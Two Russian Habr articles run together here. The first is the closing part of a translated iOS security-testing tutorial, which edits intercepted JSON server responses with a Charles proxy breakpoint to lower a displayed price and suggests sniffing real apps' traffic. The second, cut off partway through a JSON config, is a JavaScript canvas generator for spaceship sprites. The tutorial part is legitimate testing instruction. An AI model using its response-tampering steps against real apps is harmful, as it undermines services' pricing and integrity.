Теперь перезапустите приложение. Как только нам придёт ответ с сервера, сработает точка останова (breakpoint). Когда это произойдёт, щелкните на вкладке Edit Response, внизу выберите JSON:

Здесь вы можете вручную модифицировать JSON-ответ, который пойдёт в приложение. Поиграйтесь с этими параметрами и попробуйте определить, какие ключи влияют на цену, отображаемую в приложении. Изменив JSON-ответ, нажмите Execute (выполнить) для отправки ответа. Приложение делает три запроса к API, поэтому вам понадобится нажать Execute трижды.
**Нашли, какой ключ влияет на цену?**Это `ranking`. Чем больше `ranking`, тем меньше цена.
Важно: действуйте быстро! `AFNetworking` имеет таймаут 30 секунд. Если вы перехватили ответ, но не успели внести изменения, `AFNetworking` вернёт ошибку таймаута запроса и выполнит соответствующий обработчик в коде (который в данном случае не делает ничего). Если у вас вышло время, перезапустите приложение и попробуйте снова.
Что дальше?
===========
Вы ~~открыли в себе хакерские способности и~~ выполнили простейшие тесты на проникновение на примере файловой системы и сетевого взаимодействия конкретного приложения. Вы победили простые plist'ы и даже можете модифицировать ответы сервера.
Возможно, эти знания повысят безопасность вашего iOS-приложения… чуть-чуть. В следующей части мы углубимся гораздо дальше в недры приложения, будем изменять его функционал! А пока вы ждёте, когда я выложу перевод (до следующей пятницы), можно много чего попробовать на тему хранения данных в приложении:
* Попробуйте такие средства, как [iExplorer](http://www.macroplant.com/iexplorer/). iExplorer позволяет изучить содержимое файлов, которые используются вашими реальными приложениями. Посмотрите, что они там хранят.
Без джейлбрейка? Да ну?
**Серьёзно!**
* Настройте SSL-прокси в Charles и проверьте его на реальных приложениях. Ну-ка, что отсылает это приложение с вашего девайса, тихо сидя в углу с милой UI'ыбкой? Вероятно, вы удивитесь. А наблюдение за сетевым взаимодействием приложений-конкурентов может обеспечить потрясающее понимание того, как они решили проблемы сетевого взаимодействия, схожие с вашими.
* Подтяните свои знания по ассемблеру iOS (ARM). Автор советует [этот туториал](http://www.raywenderlich.com/37181/ios-assembly-tutorial) (на английском). Следующая часть нашего урока будет гораздо более насыщенной! Готовьтесь.
Замечания по поводу перевода или неработающих примеров можно отправлять на почту *dev`@`x128.ru*. | https://habr.com/ru/post/199128/ | null | ru | null |
# Генератор космических кораблей из арматуры
Доброго времени на вашей стороне планеты, Хабр.
Сегодня на хабре прямо день космических кораблей, столько интересных статей про последнюю битву в EVE Online, ну а я в свободное время я продолжаю делать свою двухмерную космическую игру и после длительного перерыва взялся за генератор кораблей. Пусть корабли и не такие шикарные как в EVE, зато свои.

Кому интересно как такой рендер на канве сделать, прошу под кат.
#### Вступление
Для начала нужно сказать для чего нужен такой генератор. Причин несколько:
* Спрайты кораблей нужны, а рисовать я толком не умею, но компьютер умеет
* Очень хотелось сделать в игре пилотам возможность создавать свои чертежи кораблей, без однотипного набора кораблей на рынке
* Я всегда смотрел на красивые концепты различной техники которые делают художники, и мне хотелось хотя бы чуть-чуть приблизится к такому уровню
* Ну и это просто интересно
Что должен уметь генератор:
* На основе JSON данных(основанных на vessel specification, о которой далее) генерить картинку корабля, на прозрачном фоне, для вставку в игру
* Генерить красивый рендер, который можно скачать, залить, и запостить на где-нибудь на форумах
* Выдавать конфиг корабля, который также можно скопипастить на форумы, и другой человек может поглядеть что там за дарвинский пепелац сорудили =)
Теперь поподробней о этой vessel specification, которая видна на рендере сверху. Технически она описывает как именно должны собираться корабли и из чего. С точки зрения бэкстори это что-то вроде ГОСТ'а, который придуман чтобы стандартизировать производство кораблей коммерческими компаниями. С точки зрения геймплея это попытка сделать какой-то общий дизайн кораблей, который не позволит создать тайловый редактор (когда по клеточкам рисуются корабли). Конечно общий дизайн это довольно условно, потому что редактирование конфига позволяет менять очень немало.
Из чего же составляются корабли по этому «ГОСТ'у»? Основой являются линии(line), линия это набор секций(section), которые располагаются параллельно друг другу. Секция — это компонент плюс два блока, которые скрепляют несколько секций в линию. Компонент же может быть много чем, это может быть просто скрепления, которые нужны только для увеличения прочности конструкции, не значительно увеличивающие её массу, или грузовым блоком, или блоком управления, или двигателем, или платформой для установки вооружения и так далее.
Думаю я уже достаточно рассказал о том, что такое генератор кораблей, давайте теперь посмотрим как же он собственно генерит эти рендеры.
#### Шаг 0 — Готовим холсты и краски
Для начала нам нужно настроить три канвы, #backCanvs, #mainCanvas и #topCanvas.
```
```
Вот функция инициализации, в ней использован очень известный трюк, с установкой разрешения канвы, больше чем её визуальные размеры.
```
//Вызываем функцию инициализации слоев
var canvasSize = { width: Math.floor(window.innerWidth*3.5),
height: Math.floor(window.innerHeight*3.5) };
var cssSize = { width: window.innerWidth, height: window.innerHeight };
shipGen.layerInit(["#backCanvas", "#mainCanvas", "#topCanvas"], canvasSize, cssSize);
//Сама функция
shipGen.layerInit = function(canvases, canvasSize, cssSize) {
shipGen.config.canvasSize = canvasSize;
shipGen.config.cssSize = cssSize;
//Если слои есть, очищаем их и удаляем
for(var i in shipGen.layers) {
shipGen.layers[i].clearRect(0, 0, canvasSize.width, canvasSize.height)
}
shipGen.layers = [];
for(var i in canvases) {
shipGen.layers.push($(canvases[i]).attr("width", canvasSize.width)
.attr("height", canvasSize.height)
.css("width", cssSize.width)
.css("height", cssSize.height).get(0).getContext("2d"));
}
}
```
#### Шаг 0.5 — Готовим кисточки
Теперь нужно сделать второе, и самое важное — конфиги.
Как я уже говорил сам конфиг корабля записываем в JSON формате, который потом парсится в Javascript Object, но ещё есть настройки самой рисовалки:
```
lines: [], //Сюда помещаются распарсеный JSON-конфиг
config: { //Настройки для отрисовки
factor: 15, //Маштабирование
factorRandLight: 3, //Нужно для распределения лампочек
angle: 0, //Угол поворота корабля
canvasSize: {}, //Размеры канвы
designName: "", //Название
authorName: "" //Автор
},
counters: { //Различные счетчики, которые подсчитываются в процессе отрисовки или рядом
heightShip: 0, //Длина корабля
hull: 0, //Показатель прочности корпуса
linesCount: 0, //Сколько всего линий
sectionsCount: 0, //Сколько всего секций
totalMass: 0, //Суммарная масса корабля
},
data: { //Собираем данные по конкретным компонентам
engines: [],
blocks: [],
pipes: [],
cargos: []
}
```
Конфиг корабля мы задаем так:
```
try {
if(localStorage["config"]) {
shipGen.lines = JSON.parse(localStorage["config"]);
}
else {
shipGen.lines = JSON.parse($("#text").val());
}
}
catch(e) {
alert("Error parse config");
}
```
Привожу в пример небольшой конфг конфига корабля. Сначала описывается массив всех линий(в данном случае их три), для каждой линии указывается смещение следующей линии, и перечисляются секции, в данном случае их по две на линию.
**Скрытый текст**
```
[
{
"nextLineX": 200,
"sections": {
"0": {
"name": "engine",
"blockW1": 0,
"blockH1": 0,
"blockW2": 10,
"blockH2": 10,
"width": 12,
"height": 8,
"color": {
"r": 20,
"g": 20,
"b": 20
},
"shift": 0,
"widthLeft": 8,
"widthRight": 8
},
"1": {
"name": "pipe",
"blockW1": 10,
"blockH1": 10,
"blockW2": 10,
"blockH2": 10,
"width": 8,
"height": 30,
"color": {
"r": 20,
"g": 20,
"b": 20
},
"shift": 0,
"step": 35
}
}
},
{
"nextLineX": 200,
"sections": {
"0": {
"name": "engine",
"blockW1": 0,
"blockH1": 0,
"blockW2": 10,
"blockH2": 10,
"width": 12,
"height": 8,
"color": {
"r": 20,
"g": 20,
"b": 20
},
"shift": 0,
"widthLeft": 8,
"widthRight": 8
},
"1": {
"name": "pipe",
"blockW1": 10,
"blockH1": 10,
"blockW2": 10,
"blockH2": 10,
"width": 10,
"height": 80,
"color": {
"r": 20,
"g": 20,
"b": 20
},
"shift": 0,
"step": 35
}
}
},
{
"nextLineX": 200,
"sections": {
"0": {
"name": "engine",
"blockW1": 0,
"blockH1": 0,
"blockW2": 10,
"blockH2": 10,
"width": 12,
"height": 8,
"color": {
"r": 20,
"g": 20,
"b": 20
},
"shift": 0,
"widthLeft": 8,
"widthRight": 8
},
"1": {
"name": "pipe",
"blockW1": 10,
"blockH1": 10,
"blockW2": 10,
"blockH2": 10,
"width": 8,
"height": 30,
"color": {
"r": 20,
"g": 20,
"b": 20
},
"shift": 0,
"step": 35
}
}
}
]
```
Всё готово, начинаем писать.
#### Шаг 1 — Пишем звезды на первом холсте
Не только звезды, но и небольшую туманность. Это делается двумя функциями:
```
shipGen.render.nebula(Math.random(), canvasSize.width, canvasSize.height);
shipGen.render.stars(Math.random(), canvasSize.width, canvasSize.height);
```
Не вижу смысла приводить большие куски кода рисования фона, кто хочет может посмотреть в коде, а заголовок статьи всё-таки имеет подстроку «корабли», вот к ним и перейдем.
Но тем не менее у нас уже получилось что-то такое:

#### Шаг 2 — Пишем космический аппарат на втором холсте
Здесь уже интересней, нам нужно отрисовать в каждой линии, каждую секцию, и блоки скрепляющий секции. Основная функция выглядит так, всё с подробными комментариями:
```
shipGen.process = function() {
//Берем #mainCanvas
var ctx = shipGen.layers[1];
//Смещаем и поворачиваем контекст
ctx.translate(shipGen.config.canvasSize.width/2, shipGen.config.canvasSize.height/2);
ctx.rotate(shipGen.config.angle);
//Записываем количество линий
shipGen.counters.linesCount = shipGen.lines.length;
//Вспомогательная переменная, отмеряющая насколько мы сместились по X координате
//в процессе отрисовки линий
var lenShiftX = 0;
for (var i = 0; i < shipGen.counters.linesCount; i++) {
ctx.save();
//Берем данные о секциях
var sections = shipGen.lines[i].sections;
//Крутим цикл по каждому компоненту секции
for(var component in sections) {
//В процессе подсчитываем суммарное количество секций в кораблей
shipGen.counters.sectionsCount += 1
//Берем набор параметров компонента, добавляем к нему некоторые служебные данные и вызываем отрисовку компонента
shipGen.selectComponent(sections[component], {lenShiftX: lenShiftX, blockTopW: sections[component].blockW2, blockBottomW: sections[component].blockW1 } );
}
ctx.restore();
lenShiftX += shipGen.lines[i].nextLineX;
//Смещаем отрисовку вправо, для того чтобы рядом нарисовать следующую паралелльную линию
ctx.translate(shipGen.lines[i].nextLineX, 0);
}
}
```
Функцией selectComponent отрисовываем в нужном месте сначала первый блок, потом вызываем функцию рисования конкретного компонента, потом рисуем закрывающий блок:
```
...
shipGen.block(obj.blockW1, obj.blockH1);
...
shipGen.components[obj.name](obj);
...
shipGen.block(obj.blockW1, obj.blockH1);
...
```
Каждый компонент рисуется своей функцией, банальными moveTo/LineTo/rect/fill/stroke. Просто представляем как должен выглядеть компонент и последовательно вызываем функции по нужным координатам. Вот несколько примеров:
Pipe'ы и блоки:

Двигатели:

Грузовые блоки:

Ну и так далее, можно сделать много разных компонентов, что и нужно сделать, но пока для тестов нового формата кораблей достаточно и трех.
Финальный результат корабля, с конфигом:
**Скрытый текст**
```
[
{
"nextLineX": 200,
"sections": {
"0": {
"name": "engine",
"blockW1": 0,
"blockH1": 0,
"blockW2": 10,
"blockH2": 10,
"width": 12,
"height": 8,
"color": {
"r": 20,
"g": 20,
"b": 20
},
"shift": 0,
"widthLeft": 8,
"widthRight": 8
},
"1": {
"name": "cargo",
"blockW1": 10,
"blockH1": 10,
"blockW2": 10,
"blockH2": 10,
"width": 35,
"height": 35,
"color": {
"r": 20,
"g": 20,
"b": 20
}
},
"2": {
"name": "cargo",
"blockW1": 10,
"blockH1": 10,
"blockW2": 10,
"blockH2": 10,
"width": 35,
"height": 35,
"color": {
"r": 20,
"g": 20,
"b": 20
}
},
"3": {
"name": "cargo",
"blockW1": 10,
"blockH1": 10,
"blockW2": 10,
"blockH2": 10,
"width": 35,
"height": 35,
"color": {
"r": 20,
"g": 20,
"b": 20
}
},
"4": {
"name": "cargo",
"blockW1": 10,
"blockH1": 10,
"blockW2": 10,
"blockH2": 10,
"width": 35,
"height": 35,
"color": {
"r": 20,
"g": 20,
"b": 20
}
}
}
},
{
"nextLineX": 200,
"sections": {
"0": {
"name": "engine",
"blockW1": 0,
"blockH1": 0,
"blockW2": 10,
"blockH2": 10,
"width": 12,
"height": 8,
"color": {
"r": 20,
"g": 20,
"b": 20
},
"shift": 0,
"widthLeft": 8,
"widthRight": 8
},
"1": {
"name": "cargo",
"blockW1": 10,
"blockH1": 10,
"blockW2": 10,
"blockH2": 10,
"width": 35,
"height": 35,
"color": {
"r": 20,
"g": 20,
"b": 20
}
},
"2": {
"name": "cargo",
"blockW1": 10,
"blockH1": 10,
"blockW2": 10,
"blockH2": 10,
"width": 35,
"height": 35,
"color": {
"r": 20,
"g": 20,
"b": 20
}
},
"3": {
"name": "pipe",
"blockW1": 10,
"blockH1": 10,
"blockW2": 10,
"blockH2": 10,
"width": 8,
"height": 80,
"color": {"r":20,"g":20,"b":20},
"shift": 0,
"step": 35
},
"4": {
"name": "pipe",
"blockW1": 10,
"blockH1": 10,
"blockW2": 10,
"blockH2": 10,
"width": 8,
"height": 80,
"color": {"r":20,"g":20,"b":20},
"shift": 0,
"step": 35
}
}
},
{
"nextLineX": 200,
"sections": {
"0": {
"name": "engine",
"blockW1": 0,
"blockH1": 0,
"blockW2": 10,
"blockH2": 10,
"width": 12,
"height": 8,
"color": {
"r": 20,
"g": 20,
"b": 20
},
"shift": 0,
"widthLeft": 8,
"widthRight": 8
},
"1": {
"name": "cargo",
"blockW1": 10,
"blockH1": 10,
"blockW2": 10,
"blockH2": 10,
"width": 35,
"height": 35,
"color": {
"r": 20,
"g": 20,
"b": 20
}
},
"2": {
"name": "cargo",
"blockW1": 10,
"blockH1": 10,
"blockW2": 10,
"blockH2": 10,
"width": 35,
"height": 35,
"color": {
"r": 20,
"g": 20,
"b": 20
}
},
"3": {
"name": "cargo",
"blockW1": 10,
"blockH1": 10,
"blockW2": 10,
"blockH2": 10,
"width": 35,
"height": 35,
"color": {
"r": 20,
"g": 20,
"b": 20
}
},
"4": {
"name": "cargo",
"blockW1": 10,
"blockH1": 10,
"blockW2": 10,
"blockH2": 10,
"width": 35,
"height": 35,
"color": {
"r": 20,
"g": 20,
"b": 20
}
}
}
}
]
```

#### Шаг 3 — Пишем красивый текст на третьем холсте
Остался предпоследний этап, нужно офоромить характеристики корабля в виде красивого текста. Ну хотя бы чуть-чуть красивого.
И делаем это очень легко, просто меняем размеры шрифта, и смещаемся постепенно вниз по Y координате. Как раз таки используем данные из конфига об авторе, названии дизайна и другие. Кстати об авторе и названии дизайна, я сделал пока их статичными, потому что они будут вытащены при интеграции с игрой, а пока пусть будут Unnamed и Unknown.
```
//Вызов рисования текста
shipGen.render.text();
//Сама функция
shipGen.render.text = function() {
var ctx = shipGen.layers[2];
//Номер дизайна
ctx.fillStyle = "#fff";
ctx.strokeStyle = "#fff";
ctx.font = "130pt Arial";
ctx.fillText("Vessel Design " + shipGen.config.number, 220, 220);
//Название формата
ctx.font = "50pt Arial";
ctx.fillText("Vessel specification of Tranquilla Community VSC-V3", 250, 320);
ctx.font = "40pt Arial";
//Название дизайна
ctx.fillText("Design name: " + shipGen.config.designName, 250, 420);
//Имя автора дизайна
ctx.fillText("Author name: " + shipGen.config.authorName, 250, 520);
//Где мы делали этот дизайн
ctx.fillText("Place: Tranq One IV Station 41 (1020; 1210)", 250, 620);
ctx.font = "35pt Arial";
//Основные характеристики
ctx.fillText("Mass: " + shipGen.counters.totalMass, 250, 750);
ctx.fillText("Hull: " + shipGen.counters.hull, 250, 800);
ctx.fillText("Lines count: " + shipGen.counters.linesCount , 250, 850);
ctx.fillText("Sections count: " + shipGen.counters.sectionsCount, 250, 900);
ctx.fillText("Block count: " + shipGen.data.blocks.length, 250, 950);
ctx.fillText("Pipe count: " + shipGen.data.pipes.length, 250, 1000);
var lineY = 1150;
//Характеристики компонентов
for(var i in shipGen.data) {
if(i == "blocks" || i == "pipes") continue;
ctx.fillText(i.toString() + ":", 250, lineY - 50);
for (var v in shipGen.data[i]) {
ctx.fillText(i.toString() + ": " + JSON.stringify(shipGen.data[i][v], "", 1).replace(/\"/g, ''), 250, lineY);
lineY += 50;
}
lineY+=100;
}
}
```
Результат мы уже видели выше, привожу тоже самое для другого конфига.
**Скрытый текст**
```
[ {
"nextLineX": 200,
"sections": {
"0": {
"name": "engine",
"blockW1": 40,
"blockH1": 0,
"blockW2": 20,
"blockH2": 10,
"width": 12,
"height": 8,
"color": {
"r": 25,
"g": 20,
"b": 20
},
"shift": 0,
"widthLeft": 8,
"widthRight": 8
},
"1": {
"name": "pipe",
"blockW1": 40,
"blockH1": 10,
"blockW2": 10,
"blockH2": 10,
"width": 15,
"height": 30,
"color": {
"r": 20,
"g": 20,
"b": 20
},
"shift": 0,
"step": 35
},
"2": {
"name": "pipe",
"blockW1": 40,
"blockH1": 10,
"blockW2": 30,
"blockH2": 40,
"width": 15,
"height": 40,
"color": {
"r": 20,
"g": 20,
"b": 20
},
"shift": 0,
"step": 35
},
"3": {
"name": "pipe",
"blockW1": 40,
"blockH1": 10,
"blockW2": 10,
"blockH2": 10,
"width": 15,
"height": 80,
"color": {
"r": 20,
"g": 20,
"b": 20
},
"shift": 0,
"step": 35
},
"4": {
"name": "pipe",
"blockW1": 40,
"blockH1": 10,
"blockW2": 40,
"blockH2": 90,
"width": 15,
"height": 30,
"color": {
"r": 20,
"g": 20,
"b": 20
},
"shift": 0,
"step": 35
}
}
},
{
"nextLineX": 200,
"sections": {
"0": {
"name": "engine",
"blockW1": 0,
"blockH1": 0,
"blockW2": 20,
"blockH2": 10,
"width": 12,
"height": 8,
"color": {
"r": 25,
"g": 20,
"b": 20
},
"shift": 0,
"widthLeft": 8,
"widthRight": 8
},
"1": {
"name": "pipe",
"blockW1": 40,
"blockH1": 10,
"blockW2": 10,
"blockH2": 10,
"width": 15,
"height": 30,
"color": {
"r": 20,
"g": 20,
"b": 20
},
"shift": 0,
"step": 35
},
"2": {
"name": "pipe",
"blockW1": 40,
"blockH1": 10,
"blockW2": 10,
"blockH2": 10,
"width": 15,
"height": 80,
"color": {
"r": 20,
"g": 20,
"b": 20
},
"shift": 0,
"step": 35
},
"3": {
"name": "pipe",
"blockW1": 40,
"blockH1": 10,
"blockW2": 10,
"blockH2": 10,
"width": 15,
"height": 80,
"color": {
"r": 20,
"g": 20,
"b": 20
},
"shift": 0,
"step": 35
},
"4": {
"name": "pipe",
"blockW1": 40,
"blockH1": 10,
"blockW2": 40,
"blockH2": 10,
"width": 15,
"height": 80,
"color": {
"r": 20,
"g": 20,
"b": 20
},
"shift": 0,
"step": 35
}
}
},
{
"nextLineX": 200,
"sections": {
"0": {
"name": "engine",
"blockW1": 40,
"blockH1": 0,
"blockW2": 20,
"blockH2": 10,
"width": 12,
"height": 8,
"color": {
"r": 25,
"g": 20,
"b": 20
},
"shift": 0,
"widthLeft": 8,
"widthRight": 8
},
"1": {
"name": "pipe",
"blockW1": 40,
"blockH1": 10,
"blockW2": 10,
"blockH2": 10,
"width": 15,
"height": 30,
"color": {
"r": 20,
"g": 20,
"b": 20
},
"shift": 0,
"step": 35
},
"2": {
"name": "pipe",
"blockW1": 40,
"blockH1": 10,
"blockW2": 30,
"blockH2": 40,
"width": 15,
"height": 40,
"color": {
"r": 20,
"g": 20,
"b": 20
},
"shift": 0,
"step": 35
},
"3": {
"name": "pipe",
"blockW1": 40,
"blockH1": 10,
"blockW2": 10,
"blockH2": 10,
"width": 15,
"height": 80,
"color": {
"r": 20,
"g": 20,
"b": 20
},
"shift": 0,
"step": 35
},
"4": {
"name": "pipe",
"blockW1": 40,
"blockH1": 10,
"blockW2": 40,
"blockH2": 90,
"width": 15,
"height": 30,
"color": {
"r": 20,
"g": 20,
"b": 20
},
"shift": 0,
"step": 35
}
}
},
{
"nextLineX": 200,
"sections": {
"0": {
"name": "engine",
"blockW1": 0,
"blockH1": 0,
"blockW2": 20,
"blockH2": 10,
"width": 12,
"height": 8,
"color": {
"r": 25,
"g": 20,
"b": 20
},
"shift": 0,
"widthLeft": 8,
"widthRight": 8
},
"1": {
"name": "pipe",
"blockW1": 40,
"blockH1": 10,
"blockW2": 10,
"blockH2": 10,
"width": 15,
"height": 30,
"color": {
"r": 20,
"g": 20,
"b": 20
},
"shift": 0,
"step": 35
},
"2": {
"name": "pipe",
"blockW1": 40,
"blockH1": 10,
"blockW2": 30,
"blockH2": 40,
"width": 15,
"height": 40,
"color": {
"r": 20,
"g": 20,
"b": 20
},
"shift": 0,
"step": 35
},
"3": {
"name": "pipe",
"blockW1": 40,
"blockH1": 10,
"blockW2": 10,
"blockH2": 10,
"width": 15,
"height": 80,
"color": {
"r": 20,
"g": 20,
"b": 20
},
"shift": 0,
"step": 35
},
"4": {
"name": "pipe",
"blockW1": 40,
"blockH1": 10,
"blockW2": 40,
"blockH2": 90,
"width": 15,
"height": 30,
"color": {
"r": 20,
"g": 20,
"b": 20
},
"shift": 0,
"step": 35
}
}
},
{
"nextLineX": 200,
"sections": {
"0": {
"name": "engine",
"blockW1": 0,
"blockH1": 0,
"blockW2": 20,
"blockH2": 10,
"width": 12,
"height": 8,
"color": {
"r": 25,
"g": 20,
"b": 20
},
"shift": 0,
"widthLeft": 8,
"widthRight": 8
},
"1": {
"name": "pipe",
"blockW1": 40,
"blockH1": 10,
"blockW2": 10,
"blockH2": 10,
"width": 15,
"height": 30,
"color": {
"r": 20,
"g": 20,
"b": 20
},
"shift": 0,
"step": 35
},
"2": {
"name": "pipe",
"blockW1": 40,
"blockH1": 10,
"blockW2": 10,
"blockH2": 10,
"width": 15,
"height": 80,
"color": {
"r": 20,
"g": 20,
"b": 20
},
"shift": 0,
"step": 35
},
"3": {
"name": "pipe",
"blockW1": 40,
"blockH1": 10,
"blockW2": 10,
"blockH2": 10,
"width": 15,
"height": 80,
"color": {
"r": 20,
"g": 20,
"b": 20
},
"shift": 0,
"step": 35
},
"4": {
"name": "pipe",
"blockW1": 40,
"blockH1": 10,
"blockW2": 40,
"blockH2": 10,
"width": 15,
"height": 80,
"color": {
"r": 20,
"g": 20,
"b": 20
},
"shift": 0,
"step": 35
}
}
},
{
"nextLineX": 200,
"sections": {
"0": {
"name": "engine",
"blockW1": 40,
"blockH1": 0,
"blockW2": 20,
"blockH2": 10,
"width": 12,
"height": 8,
"color": {
"r": 25,
"g": 20,
"b": 20
},
"shift": 0,
"widthLeft": 8,
"widthRight": 8
},
"1": {
"name": "pipe",
"blockW1": 40,
"blockH1": 10,
"blockW2": 10,
"blockH2": 10,
"width": 15,
"height": 30,
"color": {
"r": 20,
"g": 20,
"b": 20
},
"shift": 0,
"step": 35
},
"2": {
"name": "pipe",
"blockW1": 40,
"blockH1": 10,
"blockW2": 30,
"blockH2": 40,
"width": 15,
"height": 40,
"color": {
"r": 20,
"g": 20,
"b": 20
},
"shift": 0,
"step": 35
},
"3": {
"name": "pipe",
"blockW1": 40,
"blockH1": 10,
"blockW2": 10,
"blockH2": 10,
"width": 15,
"height": 80,
"color": {
"r": 20,
"g": 20,
"b": 20
},
"shift": 0,
"step": 35
},
"4": {
"name": "pipe",
"blockW1": 40,
"blockH1": 10,
"blockW2": 40,
"blockH2": 90,
"width": 15,
"height": 30,
"color": {
"r": 20,
"g": 20,
"b": 20
},
"shift": 0,
"step": 35
}
}
}
]
```

#### Шаг 4 — Открываем выставку
Последний этап, подключаем [FileSaver.js](https://github.com/eligrey/FileSaver.js/), и пишем такую простую сохранялку, объединяя все слои.
```
$("#save-render").click(function(){
var canvasMerge = $("").get(0);
var ctxMerge = canvasMerge.getContext("2d");
ctxMerge.fillStyle = "#000";
ctxMerge.fillRect(0, 0, canvasSize.width, canvasSize.height);
ctxMerge.drawImage($("#backCanvas").get(0), 0, 0);
ctxMerge.drawImage($("#mainCanvas").get(0), 0, 0);
ctxMerge.drawImage($("#topCanvas").get(0), 0, 0);
canvasMerge.toBlob(function(blob) {
saveAs(blob, "render.png");
});
});
```
#### Заключение
Для тех кто не хочет мучатся с ручным редактированием конфигов, а просто хочет посмотреть на кораблики, я здесь привожу несколько конфигов, которые я делал в процессе рарзработки. Чтобы поглядеть на них нужно нажать внизу на ссылку «Edit config», вставить в выбранный конфиг, и нажать также внизу «Apply».
**Громадная шестилинейка**
```
[ {
"nextLineX": 200,
"sections": {
"0": {
"name": "engine",
"blockW1": 40,
"blockH1": 0,
"blockW2": 20,
"blockH2": 10,
"width": 12,
"height": 8,
"color": {
"r": 25,
"g": 20,
"b": 20
},
"shift": 0,
"widthLeft": 8,
"widthRight": 8
},
"1": {
"name": "pipe",
"blockW1": 40,
"blockH1": 10,
"blockW2": 10,
"blockH2": 10,
"width": 15,
"height": 30,
"color": {
"r": 20,
"g": 20,
"b": 20
},
"shift": 0,
"step": 35
},
"2": {
"name": "pipe",
"blockW1": 40,
"blockH1": 10,
"blockW2": 30,
"blockH2": 40,
"width": 15,
"height": 40,
"color": {
"r": 20,
"g": 20,
"b": 20
},
"shift": 0,
"step": 35
},
"3": {
"name": "pipe",
"blockW1": 40,
"blockH1": 10,
"blockW2": 10,
"blockH2": 10,
"width": 15,
"height": 80,
"color": {
"r": 20,
"g": 20,
"b": 20
},
"shift": 0,
"step": 35
},
"4": {
"name": "pipe",
"blockW1": 40,
"blockH1": 10,
"blockW2": 40,
"blockH2": 90,
"width": 15,
"height": 30,
"color": {
"r": 20,
"g": 20,
"b": 20
},
"shift": 0,
"step": 35
}
}
},
{
"nextLineX": 200,
"sections": {
"0": {
"name": "engine",
"blockW1": 0,
"blockH1": 0,
"blockW2": 20,
"blockH2": 10,
"width": 12,
"height": 8,
"color": {
"r": 25,
"g": 20,
"b": 20
},
"shift": 0,
"widthLeft": 8,
"widthRight": 8
},
"1": {
"name": "pipe",
"blockW1": 40,
"blockH1": 10,
"blockW2": 10,
"blockH2": 10,
"width": 15,
"height": 30,
"color": {
"r": 20,
"g": 20,
"b": 20
},
"shift": 0,
"step": 35
},
"2": {
"name": "pipe",
"blockW1": 40,
"blockH1": 10,
"blockW2": 10,
"blockH2": 10,
"width": 15,
"height": 80,
"color": {
"r": 20,
"g": 20,
"b": 20
},
"shift": 0,
"step": 35
},
"3": {
"name": "pipe",
"blockW1": 40,
"blockH1": 10,
"blockW2": 10,
"blockH2": 10,
"width": 15,
"height": 80,
"color": {
"r": 20,
"g": 20,
"b": 20
},
"shift": 0,
"step": 35
},
"4": {
"name": "pipe",
"blockW1": 40,
"blockH1": 10,
"blockW2": 40,
"blockH2": 10,
"width": 15,
"height": 80,
"color": {
"r": 20,
"g": 20,
"b": 20
},
"shift": 0,
"step": 35
}
}
},
{
"nextLineX": 200,
"sections": {
"0": {
"name": "engine",
"blockW1": 40,
"blockH1": 0,
"blockW2": 20,
"blockH2": 10,
"width": 12,
"height": 8,
"color": {
"r": 25,
"g": 20,
"b": 20
},
"shift": 0,
"widthLeft": 8,
"widthRight": 8
},
"1": {
"name": "pipe",
"blockW1": 40,
"blockH1": 10,
"blockW2": 10,
"blockH2": 10,
"width": 15,
"height": 30,
"color": {
"r": 20,
"g": 20,
"b": 20
},
"shift": 0,
"step": 35
},
"2": {
"name": "pipe",
"blockW1": 40,
"blockH1": 10,
"blockW2": 30,
"blockH2": 40,
"width": 15,
"height": 40,
"color": {
"r": 20,
"g": 20,
"b": 20
},
"shift": 0,
"step": 35
},
"3": {
"name": "pipe",
"blockW1": 40,
"blockH1": 10,
"blockW2": 10,
"blockH2": 10,
"width": 15,
"height": 80,
"color": {
"r": 20,
"g": 20,
"b": 20
},
"shift": 0,
"step": 35
},
"4": {
"name": "pipe",
"blockW1": 40,
"blockH1": 10,
"blockW2": 40,
"blockH2": 90,
"width": 15,
"height": 30,
"color": {
"r": 20,
"g": 20,
"b": 20
},
"shift": 0,
"step": 35
}
}
},
{
"nextLineX": 200,
"sections": {
"0": {
"name": "engine",
"blockW1": 0,
"blockH1": 0,
"blockW2": 20,
"blockH2": 10,
"width": 12,
"height": 8,
"color": {
"r": 25,
"g": 20,
"b": 20
},
"shift": 0,
"widthLeft": 8,
"widthRight": 8
},
"1": {
"name": "pipe",
"blockW1": 40,
"blockH1": 10,
"blockW2": 10,
"blockH2": 10,
"width": 15,
"height": 30,
"color": {
"r": 20,
"g": 20,
"b": 20
},
"shift": 0,
"step": 35
},
"2": {
"name": "pipe",
"blockW1": 40,
"blockH1": 10,
"blockW2": 30,
"blockH2": 40,
"width": 15,
"height": 40,
"color": {
"r": 20,
"g": 20,
"b": 20
},
"shift": 0,
"step": 35
},
"3": {
"name": "pipe",
"blockW1": 40,
"blockH1": 10,
"blockW2": 10,
"blockH2": 10,
"width": 15,
"height": 80,
"color": {
"r": 20,
"g": 20,
"b": 20
},
"shift": 0,
"step": 35
},
"4": {
"name": "pipe",
"blockW1": 40,
"blockH1": 10,
"blockW2": 40,
"blockH2": 90,
"width": 15,
"height": 30,
"color": {
"r": 20,
"g": 20,
"b": 20
},
"shift": 0,
"step": 35
}
}
},
{
"nextLineX": 200,
"sections": {
"0": {
"name": "engine",
"blockW1": 0,
"blockH1": 0,
"blockW2": 20,
"blockH2": 10,
"width": 12,
"height": 8,
"color": {
"r": 25,
"g": 20,
"b": 20
},
"shift": 0,
"widthLeft": 8,
"widthRight": 8
},
"1": {
"name": "pipe",
"blockW1": 40,
"blockH1": 10,
"blockW2": 10,
"blockH2": 10,
"width": 15,
"height": 30,
"color": {
"r": 20,
"g": 20,
"b": 20
},
"shift": 0,
"step": 35
},
"2": {
"name": "pipe",
"blockW1": 40,
"blockH1": 10,
"blockW2": 10,
"blockH2": 10,
"width": 15,
"height": 80,
"color": {
"r": 20,
"g": 20,
"b": 20
},
"shift": 0,
"step": 35
},
"3": {
"name": "pipe",
"blockW1": 40,
"blockH1": 10,
"blockW2": 10,
"blockH2": 10,
"width": 15,
"height": 80,
"color": {
"r": 20,
"g": 20,
"b": 20
},
"shift": 0,
"step": 35
},
"4": {
"name": "pipe",
"blockW1": 40,
"blockH1": 10,
"blockW2": 40,
"blockH2": 10,
"width": 15,
"height": 80,
"color": {
"r": 20,
"g": 20,
"b": 20
},
"shift": 0,
"step": 35
}
}
},
{
"nextLineX": 200,
"sections": {
"0": {
"name": "engine",
"blockW1": 40,
"blockH1": 0,
"blockW2": 20,
"blockH2": 10,
"width": 12,
"height": 8,
"color": {
"r": 25,
"g": 20,
"b": 20
},
